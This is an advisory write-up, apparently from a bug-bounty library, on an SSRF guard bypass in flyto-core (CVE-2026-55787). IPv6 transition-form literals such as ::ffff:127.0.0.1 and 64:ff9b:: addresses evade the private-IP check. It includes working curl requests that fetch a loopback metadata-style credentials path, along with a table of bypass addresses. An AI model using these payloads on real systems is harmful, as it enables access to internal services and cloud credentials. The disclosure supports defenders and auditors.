# flyto-core has SSRF guard bypass via IPv6 transition addresses (IPv4-mapped / 6to4 / NAT64) in validate_url_ssrf

flyto-core's SSRF guard only range-checks native IPs, so IPv4-mapped/6to4/NAT64 IPv6 literals bypass it and reach loopback or cloud metadata, returning the body.

- Payout: Research
- Severity: high
- Program: flyto-core
- Found by: tonghuaroot
- Disclosed: 2026-07-06
- CVE: CVE-2026-55787
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-794r-5rp2-fpg8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-794r-5rp2-fpg8
- Tags: area:web domain:api domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python tech:rest technique:source-review vuln:access-control vuln:ssrf

**Target:** http.get atomic module / validate_url_ssrf guard in src/core/utils.py
**Root cause:** is_private_ip() does plain membership against a hardcoded PRIVATE_IP_RANGES list of native ranges only, without unwrapping IPv4 embedded in IPv6 transition forms (IPv4-mapped, IPv4-compatible, 6to4, NAT64), so those addresses are classified public.
**Steps:**
1. Boot flyto-core Execution API on 127.0.0.1:8333 and read bearer token from ~/.flyto/.api-token-8333
2. Run a loopback sentinel on 127.0.0.1:8080 returning a marker body
3. Negative control: `POST /v1/execute` with `{"module_id":"http.get","params":{"url":"http://127.0.0.1:8080/latest/meta-data/"}}` returns `Hostname blocked: 127.0.0.1`
4. Bypass: same request with `http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role` returns ok:true with the sentinel body
5. NAT64 vector `http://[64:ff9b::a9fe:a9fe]/latest/meta-data/` passes the guard (connect timeout, not SSRFError), proving it reaches the network layer
**How found:** Source review of the SSRF guard: noticed PRIVATE_IP_RANGES lists only native ranges and the check is plain network membership rather than is_global/is_private predicates, so even ::ffff:127.0.0.1 (which ipaddress marks private) slips through; confirmed with deployed end-to-end repro and negative controls.
**Exploitation:** A workflow author with the per-instance bearer token submits an http.get node whose URL uses an IPv6 transition-form literal; the guard passes it, aiohttp fetches the internal endpoint, and the response body is returned in data.body — read SSRF against loopback/RFC1918 on dual-stack hosts and IMDS on NAT64/6to4-routed hosts.
**Escalation:** Same guard shared by ~10 sibling modules (http.request/batch/paginate/session, browser.goto, image.download, communication.webhook_trigger, notification.send, vector.connector, llm.chat), widening reachable sinks.
**Insight:** When auditing SSRF guards, check whether the blocklist uses explicit range membership instead of is_global/is_private predicates — transition forms (::ffff:, 2002::/16, 64:ff9b::/96) embed IPv4 and must be unwrapped and re-checked; test with negative controls to prove the guard fires on native forms first.

## Proof of concept (copied exactly from the original report)

**curl POST /v1/execute with IPv4-mapped loopback URL**

```
curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}'
{"ok":true,"data":{"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN path=/latest/meta-data/iam/security-credentials/admin-role from=127.0.0.1","headers":{"Server":"BaseHTTP/0.6 Python/3.12.13","Date":"Sat, 30 May 2026 08:13:39 GMT","Content-Type":"text/plain","Content-Length":"124"}}},"error":null,"browser_session":null,"duration_ms":1}
```

**curl POST with NAT64-encoded IMDS address**

```
curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] ","browser_session":null,"duration_ms":95805}
```

**Guard liveness table for transition-form addresses**

```
64:ff9b::a9fe:a9fe       guard_blocks=False   (NAT64-WKP -> 169.254.169.254)
64:ff9b::7f00:1          guard_blocks=False   (NAT64-WKP -> 127.0.0.1)
2002:7f00:1::            guard_blocks=False   (6to4 -> 127.0.0.1)
::ffff:169.254.169.254   guard_blocks=False   (IPv4-mapped -> IMDS)
::ffff:127.0.0.1         guard_blocks=False   (IPv4-mapped -> loopback)   [used in the deployed bypass above]
169.254.169.254          guard_blocks=True    (native, correctly blocked)
127.0.0.1                guard_blocks=True    (native, correctly blocked)
```

